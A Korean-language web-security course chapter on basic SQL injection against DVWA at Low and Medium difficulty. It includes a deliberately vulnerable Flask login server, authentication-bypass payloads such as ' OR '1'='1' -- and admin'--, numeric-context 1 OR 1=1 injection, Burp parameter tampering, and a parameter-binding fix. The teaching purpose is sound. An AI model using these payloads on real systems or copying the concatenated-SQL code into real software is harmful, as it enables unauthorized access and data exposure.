Step 135. DVWA 세팅과 SQLi 기초 — Low와 Medium을 넘다
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3.5시간
전제: Step 92~93의 SQL 기초와 파라미터 바인딩, Step 104의 첫 SQL 인젝션(Natas 14), Step 133의 Burp Suite 조작을 마쳤다.
- 준비물: Docker(DVWA용), Burp Suite, 그리고 같은 원리를 재현할 파이썬 3 + Flask + sqlite3.
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 주의: 이 집필 환경에는 DVWA가 없어서, DVWA 화면과 출력은 전부 예시입니다. 대신 DVWA의 Low/Medium과 정확히 같은 원리의 취약 서버를 여러분의 컴퓨터에 Flask로 띄워, 모든 공격을 실측으로 증명합니다. DVWA에서 직접 따라 할 때도 페이로드와 사고 흐름은 그대로입니다.
Step 104에서 ' OR '1'='1을 처음 성공시켰습니다. 오늘은 그 한 방을 체계로 바꿉니다. 교재는 DVWA(Damn Vulnerable Web App) — 일부러 취약하게 만든 PHP 웹앱으로, 난이도를 Low/Medium/High로 올려 가며 같은 취약점을 반복 훈련할 수 있는 웹 보안의 국민 교습소입니다. 오늘의 핵심 교훈은 하나입니다: 문맥(따옴표로 감싸졌는지, 숫자인지)에 따라 페이로드가 달라진다. Low에서 통한 주문이 Medium에서 실패하는 이유를, 오늘은 눈으로 확인합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- DVWA를 Docker로 띄우고 보안 난이도를 조절할 수 있다
- 따옴표 하나(
')로 SQL 인젝션 존재 여부를 탐지하고 에러를 힌트로 읽는다 ' OR '1'='1' --와admin'--의 쿼리 변형 과정을 문자열로 재구성한다- 숫자 컨텍스트(Medium)에서 따옴표 없이
1 OR 1=1로 공격한다 - 입력창이 없는 폼을 Burp로 POST 파라미터 변조해 공략한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | DVWA(Docker, PHP+MySQL — 출력 예시) + 로컬 재현용 파이썬 3, Flask, sqlite3(실측) |
| 오늘의 명령어·페이로드 | docker run, ', ' OR '1'='1' -- , admin'-- , 1 OR 1=1, Burp Repeater의 POST 변조 |
| 필요한 개념 | 문자열 결합 취약점, SQL 주석(-- , #), 문자열 컨텍스트 vs 숫자 컨텍스트, 파라미터 바인딩 |
| 오늘의 산출물 | lab135.py(취약 로그인 서버) + Low/Medium 공격 기록 문서 |
2-1. DVWA — 일부러 취약한 연습장
DVWA는 로그인, SQL Injection, XSS, 명령어 인젝션 같은 대표 취약점을 메뉴로 갖춘 웹앱입니다. 핵심 기능은 Security 난이도 — 같은 "SQL Injection" 메뉴도 Low는 아무 방어가 없고, Medium은 입력 방식을 바꾸고, High는 코드가 달라집니다. 방어가 한 겹씩 추가될 때 내 공격이 어디서 막히는지를 보는 것이 이 앱의 교육 설계입니다.
2-2. 복습 — 따옴표 하나가 일으키는 일
Step 104의 한 장면을 다시 꺼냅니다. 서버 쿼리가 이렇다고 합시다.
SELECT * FROM users WHERE username = '입력값' AND password = '입력값'
입력에 ' 하나만 넣어도 따옴표 짝이 깨져 SQL 오류가 납니다. 이 오류는 실패가 아니라 힌트입니다 — "내 입력이 쿼리 문법 안에 들어간다"는 서버의 고백입니다. 그다음 ' OR '1'='1으로 항상 참 조건을 심고, -- 로 꼬리를 주석 처리하면 인증이 무너집니다. 오늘은 이 과정을 "우연이 아니라 절차"로 만듭니다: 탐지(') → 변형(OR) → 정리(-- ).
2-3. 주석의 방언 — -- 와 #
SQL 주석은 DB마다 사투리가 있습니다. MySQL은 -- 뒤에 공백이 있어야 주석으로 인정하고, #도 주석입니다. SQLite는 --에 공백이 없어도 되는 편이지만 습관으로 공백을 붙이는 것이 안전합니다. 그래서 실전 페이로드는 -- 처럼 뒤에 공백을 붙인 형태로 씁니다. 이 챕터의 실측에서도 전부 -- 형태입니다.
2-4. 문자열 컨텍스트 vs 숫자 컨텍스트 — Medium의 진짜 벽
DVWA Medium의 SQL Injection은 입력창이 드롭다운으로 바뀌고, 서버 코드는 입력을 숫자로 다룹니다.
-- Low (문자열 컨텍스트): WHERE user_id = '$id'
-- Medium (숫자 컨텍스트): WHERE user_id = $id
숫자 컨텍스트에서는 따옴표를 넣을 이유가 없습니다 — 애초에 따옴표로 감싸지 않으니까요. 그래서 페이로드도 따옴표 없이 1 OR 1=1이 됩니다. "문맥을 읽고 페이로드를 고른다" — 이것이 오늘의 1번 교훈입니다.
3. 따라 하기
3-1. DVWA 설치 (화면 예시)
Docker가 있다면 한 줄입니다.
docker run -d -p 80:80 vulnerables/web-dvwa
브라우저로 http://localhost 접속 → 하단 "Create / Reset Database" 클릭 → admin / password로 로그인 → 왼쪽 "DVWA Security"에서 Low로 설정. (이 집필 환경에는 DVWA가 없어 설치 화면은 예시입니다 — 여러분의 랩에서 진행하세요.)
3-2. 로컬 재현 서버 — Low와 같은 취약 로그인
DVWA가 준비되기 전이라도 원리 실습은 지금 시작할 수 있습니다. lab135.py를 작성하세요 (교육용 취약 코드 — 어디에도 배포 금지):
import sqlite3
from flask import Flask, request
app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
("admin", "sup3r_s3cret!"), ("alice", "wonderland"), ("bob", "builder99"),
])
@app.route("/login")
def login():
"""Low 난이도 재현: 입력을 문자열로 그대로 결합."""
u = request.args.get("u", "")
p = request.args.get("p", "")
sql = f"SELECT * FROM users WHERE username = '{u}' AND password = '{p}'"
try:
rows = CONN.execute(sql).fetchall()
except Exception as e:
return f"[오류] {e}\n실행된 SQL: {sql}", 500
if rows:
return f"로그인 성공! 환영합니다, {rows[0][0]}님\n실행된 SQL: {sql}"
return f"로그인 실패\n실행된 SQL: {sql}"
if __name__ == "__main__":
app.run(port=5135)
python lab135.py
이 서버는 학습용으로 실행된 SQL을 그대로 보여 줍니다. 실서버는 보여 주지 않지만, 오늘은 쿼리가 어떻게 변하는지 눈으로 봐야 하니까요.
3-3. 정상 → 탐지 → 돌파, 삼단 절차
1단계 — 정상 입력 (2026-09-09 실측):
curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=alice" --data-urlencode "p=wonderland"
로그인 성공! 환영합니다, alice님
실행된 SQL: SELECT * FROM users WHERE username = 'alice' AND password = 'wonderland'
2단계 — 탐지: 따옴표 하나 (2026-09-09 실측):
curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=alice'" --data-urlencode "p=x"
[오류] unrecognized token: "x'"
실행된 SQL: SELECT * FROM users WHERE username = 'alice'' AND password = 'x'
에러 메시지는 DB마다 다릅니다 (MySQL이면 You have an error in your SQL syntax, 한글 윈도우는 다른 문구가 뜰 수 있습니다). 중요한 것은 에러가 떴다 = 내 입력이 쿼리 문법에 닿았다는 사실입니다.
3단계 — 돌파 (2026-09-09 실측):
curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=' OR '1'='1' -- " --data-urlencode "p=whatever"
로그인 성공! 환영합니다, admin님
실행된 SQL: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'whatever'
읽는 법: 완성된 쿼리를 소리 내어 읽어 보세요. "username이 빈 문자열이거나, 1이 1과 같거나(항상 참) — 그리고 -- 뒤는 전부 주석." 비밀번호 비교 부분이 통째로 주석 처리됐습니다. 조건이 항상 참이라 첫 번째 행(admin) 으로 로그인됐습니다.
왜: DVWA의 SQL Injection(Low)에서 하는 일이 정확히 이것입니다. 입력창에 1을 넣어 정상을 보고, 1'로 에러를 관찰하고, ' OR '1'='1 계열로 전체 사용자를 출력합니다 (DVWA 화면은 출력 예시: First name: admin / Surname: admin 식으로 전원이 나열됩니다).
3-4. admin’– — 비밀번호를 모른 채 관리자로
목표가 "아무나"가 아니라 "admin"이라면 이렇게 씁니다 (2026-09-09 실측):
curl -G "http://127.0.0.1:5135/login" --data-urlencode "u=admin'-- " --data-urlencode "p=whatever"
로그인 성공! 환영합니다, admin님
실행된 SQL: SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'whatever'
내 '가 username 문자열을 닫았고, -- 가 그 뒤 전부(비밀번호 확인 포함)를 지웠습니다. 결과: "username이 admin인 행"만 남은 쿼리. Step 93에서 예측 문제로 만났던 그 입력이, 이제 웹 요청 위에서 실제로 돌았습니다.
3-5. Medium 재현 — 숫자 컨텍스트는 따옴표가 없다
lab135.py에 Medium 스타일의 경로를 추가하고 재시작합니다.
@app.route("/user")
def user_lookup():
"""Medium 난이도 재현: 숫자 컨텍스트 — 따옴표로 감싸지 않음."""
uid = request.args.get("id", "1")
sql = f"SELECT username FROM users WHERE rowid = {uid}"
try:
rows = CONN.execute(sql).fetchall()
except Exception as e:
return f"[오류] {e}\n실행된 SQL: {sql}", 500
if rows:
names = ", ".join(r[0] for r in rows)
return f"조회 결과: {names}\n실행된 SQL: {sql}"
return f"결과 없음\n실행된 SQL: {sql}"
정상 조회 (2026-09-09 실측, id=1):
조회 결과: admin
실행된 SQL: SELECT username FROM users WHERE rowid = 1
공격 — 따옴표 없이 (2026-09-09 실측, id=1 OR 1=1):
조회 결과: admin, alice, bob
실행된 SQL: SELECT username FROM users WHERE rowid = 1 OR 1=1
읽는 법: 쿼리를 보면 rowid = 뒤에 따옴표가 없습니다. 그래서 페이로드에도 따옴표가 없습니다. 반대로 이 서버에 ' OR '1'='1을 넣으면 rowid = ' OR '1'='1 — 숫자 자리에 문자열이 와서 오류만 납니다. Low의 주문이 Medium에서 실패하는 이유를 방금 확인했습니다.
왜: 실제 DVWA Medium은 입력이 드롭다운입니다. 브라우저에서는 선택지 외의 값을 넣을 수 없습니다. 하지만 드롭다운은 화면 장식일 뿐 — 서버에는 결국 POST 요청의 id=1 같은 파라미터가 갑니다. 그래서 다음 단계가 필요합니다.
3-6. Burp로 Medium 공략 (DVWA, 출력 예시)
DVWA에서 Security를 Medium으로 올리고 SQL Injection 메뉴를 엽니다. 입력창이 없고 드롭다운만 있습니다.
- Burp 프록시를 켜고 드롭다운에서
1을 선택해 Submit — 요청이 잡힙니다 - 잡힌 요청을 Repeater로 보냅니다 (Ctrl+R)
- 본문의
id=1을id=1 OR 1=1로 고쳐 Send - 응답에 전체 사용자가 나옵니다 (출력 예시)
읽는 법: 화면의 입력 제한은 클라이언트 측 장치입니다. Step 103의 제1원리 — 클라이언트의 것은 클라이언트가 바꾼다. 드롭다운·자바스크립트 검증·readonly 속성 전부 Burp 앞에서는 무의미합니다. 서버가 신뢰 경계의 유일한 문지기입니다.
3-7. 방어 확인 — 같은 입력, 다른 결과
마지막으로 바인딩 버전을 붙여 대조합니다.
@app.route("/login_safe")
def login_safe():
u = request.args.get("u", "")
p = request.args.get("p", "")
rows = CONN.execute(
"SELECT * FROM users WHERE username = ? AND password = ?", (u, p)
).fetchall()
return "로그인 성공!" if rows else "로그인 실패"
출력 (2026-09-09 실측, ' OR '1'='1' -- 입력):
로그인 실패
3-3에서 admin을 열어 준 그 입력이 여기서는 고요히 실패합니다. Step 93에서 배운 문장 그대로 — 바인딩은 입력을 문법이 아니라 데이터로 가둡니다. 오늘의 모든 공격이 "결합"이라는 한 줄에서 태어났고, "바인딩"이라는 한 줄에서 죽습니다.
4. 미션과 연습문제
미션 — Low/Medium 공격 기록 문서
lab135.py를 완성하고 세 페이로드('탐지,' OR '1'='1' --,admin'--)의 명령·출력을 캡처합니다.- 각 캡처 아래에 완성된 쿼리를 손으로 재구성해 적고, 어느 부분이 주석 처리됐는지 표시합니다.
- Medium 경로에서
1 OR 1=1의 성공과' OR '1'='1의 실패를 둘 다 캡처하고, 차이를 한 문장으로 설명합니다. - DVWA가 있다면 Low에서 전체 사용자 추출, Medium을 Burp로 공략한 화면을 추가합니다. 없으면 로컬 캡처로 대체합니다.
- 위키에
SQLi기초정리.md— "탐지 → 변형 → 정리(주석)" 삼단 절차와 문자열/숫자 컨텍스트 구분을 정리합니다.
연습문제
문제 1. 1'을 넣었을 때 SQL 오류가 나는 것이 왜 "취약점의 신호"인지 설명해 보세요. 오류가 안 나도 취약할 수 있나요?
문제 2. ' OR '1'='1' -- 입력으로 완성된 쿼리를 문자열로 쓰고, 비밀번호 비교가 무력화되는 위치를 정확히 짚어 보세요.
문제 3. Medium(숫자 컨텍스트)에서 ' OR '1'='1이 실패하는 이유와, 대신 써야 하는 페이로드를 써 보세요.
문제 4. 드롭다운으로 바꾼 Medium의 "방어"가 Burp 앞에서 무너지는 이유를 신뢰 경계 관점에서 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
검증하는 법: ① 세 페이로드의 출력에 "로그인 성공! 환영합니다, admin님"이 찍혔는가 (2026-09-09 실측 기준 — ' OR '1'='1' -- 와 admin'-- 둘 다 admin으로 성공). ② 재구성한 쿼리에서 -- 뒤(' AND password = ...)를 주석으로 표시했는가. ③ Medium에서 id=1 OR 1=1은 전원(실측: admin, alice, bob), ' OR '1'='1은 오류/실패로 대비됐는가. ④ 정리 문서에 "컨텍스트에 따라 페이로드가 달라진다"는 문장이 있는가.
연습문제 해답
문제 1 해답. 따옴표 하나는 평범한 문자인데 SQL 오류가 났다는 것은, 내 입력이 데이터가 아니라 쿼리 문법 안으로 들어갔다는 증거이기 때문입니다. 오류가 안 나는 경우도 있습니다 — 서버가 오류를 숨기면(화면에 안 보여 주면) 조용한 Blind 형태가 되며, 그때는 Step 137의 참/거짓 비교로 탐지합니다. "오류가 없다 = 안전하다"가 아님에 주의하세요.
문제 2 해답. 완성된 쿼리: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'whatever'. 무력화 지점은 -- 바로 뒤부터입니다 — -- ' AND password = 'whatever' 전체가 주석이라, 쿼리에는 username 조건과 항상 참인 OR 조건만 남습니다.
문제 3 해답. 숫자 컨텍스트(WHERE rowid = 입력)에서 내 따옴표는 "문자열을 여닫는 문법"이 아니라 그냥 이상한 문자가 되어 SQL 오류만 냅니다. 따옴표가 없으니 닫을 것도 없습니다. 대신 1 OR 1=1처럼 따옴표 없는 페이로드를 씁니다 (3-5 실측에서 전원 조회 성공).
문제 4 해답. 드롭다운은 브라우저라는 클라이언트 영역의 장치입니다. 서버에 도달하는 것은 결국 HTTP 요청 본문의 id=... 한 줄이고, 그 줄은 Burp로 얼마든지 고칠 수 있습니다. 신뢰 경계는 네트워크를 경계로 그어야 합니다 — 클라이언트 쪽 제한은 사용자 편의일 뿐 방어가 아닙니다.
완료 기준 체크리스트
- [ ] DVWA의 설치·로그인·난이도 조절 절차를 말할 수 있다(또는 직접 했다)
- [ ] 따옴표 탐지 → OR 변형 → 주석 정리의 삼단 절차를 시연할 수 있다
- [ ]
' OR '1'='1' --의 완성 쿼리를 문자열로 재구성할 수 있다 - [ ] 숫자 컨텍스트에서
1 OR 1=1로 공격하는 이유를 설명할 수 있다 - [ ] Burp Repeater로 POST 파라미터를 변조하는 절차를 밟을 수 있다
- [ ] 바인딩 버전에서 같은 입력이 실패함을 확인했다
- [ ] 미션: 공격 기록 문서를 완성했다
6. 흔한 실수와 해결
벽 1. --를 넣었는데 주석이 안 먹혀요
증상 (출력 예시, MySQL 계열): You have an error in your SQL syntax; check the manual ... near '-- '.
원인: MySQL은 -- 뒤에 공백(또는 제어 문자)이 있어야 주석으로 인정합니다. --만 붙이면 빼기 기호 두 개로 해석됩니다.
해결: 항상 -- (뒤에 공백) 형태로 쓰거나, MySQL 전용 주석 #를 쓰세요. 웹 폼에서는 공백이 URL 인코딩 문제를 일으킬 수 있으니 -- - 같은 관용구도 있습니다.
벽 2. curl로 한글/공백을 넣으면 깨져요
증상 (집필 환경에서 실측): 비밀번호를 한글로 넣었더니 쿼리에 %B8%F0...처럼 깨진 값이 찍혔습니다.
원인: 터미널의 인코딩과 서버의 기대가 다릅니다. Git Bash는 한글을 시스템 코드페이지로 보낼 수 있습니다.
해결: 실습에서는 ASCII 페이로드를 쓰세요. 한글이 꼭 필요하면 curl 대신 파이썬 requests.get(url, params={...})을 쓰면 URL 인코딩을 올바르게 해 줍니다.
벽 3. 공격 입력을 넣으면 "그냥 로그인 실패"만 나와요
증상: 페이로드가 오류도 성공도 없이 조용히 실패합니다.
원인 셋 중 하나: ① 서버가 큰따옴표로 감쌉니다(Step 104 연습문제 3) — "로 다시. ② 숫자 컨텍스트인데 따옴표를 넣었습니다 — 1 OR 1=1로. ③ 서버가 바인딩/이스케이프로 방어 중입니다 — 그게 정상이고, 실습 서버가 맞는지 확인하세요.
해결: 서버가 보여 주는(또는 소스에 있는) 쿼리의 감싸는 문자부터 확인. 문맥 확인이 모든 페이로드 선택에 선행합니다.
벽 4. DVWA에 접속하면 로그인으로 튕겨요 (Burp 재전송 시)
증상: Repeater로 보낸 요청이 로그인 페이지로 리다이렉트됩니다.
원인: 요청에 세션 쿠키(PHPSESSID)와 security=low 쿠키가 빠졌습니다. DVWA는 매 요청마다 로그인 세션을 검사합니다.
해결: 브라우저에서 로그인한 뒤 개발자 도구에서 쿠키를 복사해 Burp 요청의 Cookie: 헤더에 그대로 붙이세요. Step 134의 감각이 여기서 쓰입니다 — 쿠키가 신분증입니다.
벽 5. lab135.py 실행 시 "Address already in use"
증상: 서버가 안 뜨고 포트 충돌 오류.
원인: 이전에 띄운 서버가 아직 살아 있습니다.
해결: 그 터미널에서 Ctrl+C. 창을 닫아 버렸다면 netstat -ano | grep 5135로 PID를 찾아 taskkill /F /PID <번호>로 종료하세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| DVWA | 일부러 취약한 교육용 웹앱 — 난이도 조절이 핵심 기능 |
탐지(') |
따옴표 하나로 "입력이 문법에 닿는가"를 확인하는 첫 질문 |
주석(-- , #) |
쿼리의 꼬리를 지우는 지우개 — MySQL은 -- 뒤 공백 필수 |
| 문자열 컨텍스트 | '$id' — 따옴표로 닫고 OR를 심는다 (Low) |
| 숫자 컨텍스트 | $id — 따옴표 없이 1 OR 1=1 (Medium) |
| 신뢰 경계 | 클라이언트 측 제한(드롭다운)은 방어가 아니다 — Burp가 증명 |
오늘의 명령어와 페이로드
| 명령·페이로드 | 하는 일 |
|---|---|
docker run -d -p 80:80 vulnerables/web-dvwa |
DVWA 띄우기 |
' |
인젝션 탐지 — 에러가 곧 힌트 |
' OR '1'='1' -- |
문자열 컨텍스트 조건 무력화 |
admin'-- |
지정 계정으로 비밀번호 없이 로그인 |
1 OR 1=1 |
숫자 컨텍스트 전체 조회 |
curl -G URL --data-urlencode "u=..." |
URL 인코딩을 맡긴 GET 공격 요청 |
| Burp: Proxy → Repeater → Send | 잡은 요청을 고쳐서 재전송 |
명령어보다 중요한 감각
SQL 인젝션은 "외우는 주문"이 아니라 읽는 기술입니다. 서버의 쿼리에서 내 입력이 박히는 자리(문맥)를 읽고, 그 문맥을 닫고, 원하는 문법을 심고, 나머지를 주석으로 정리한다 — 이 네 동작이 전부입니다. 그리고 오늘 실측에서 봤듯, 방어는 코드 한 줄의 차이입니다. 여러분은 이제 취약한 한 줄과 안전한 한 줄을 같은 손으로 써 봤으므로, 남의 코드에서 그 한 줄을 찾아낼 눈도 생겼습니다.
전부 체크되면 Step 135 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.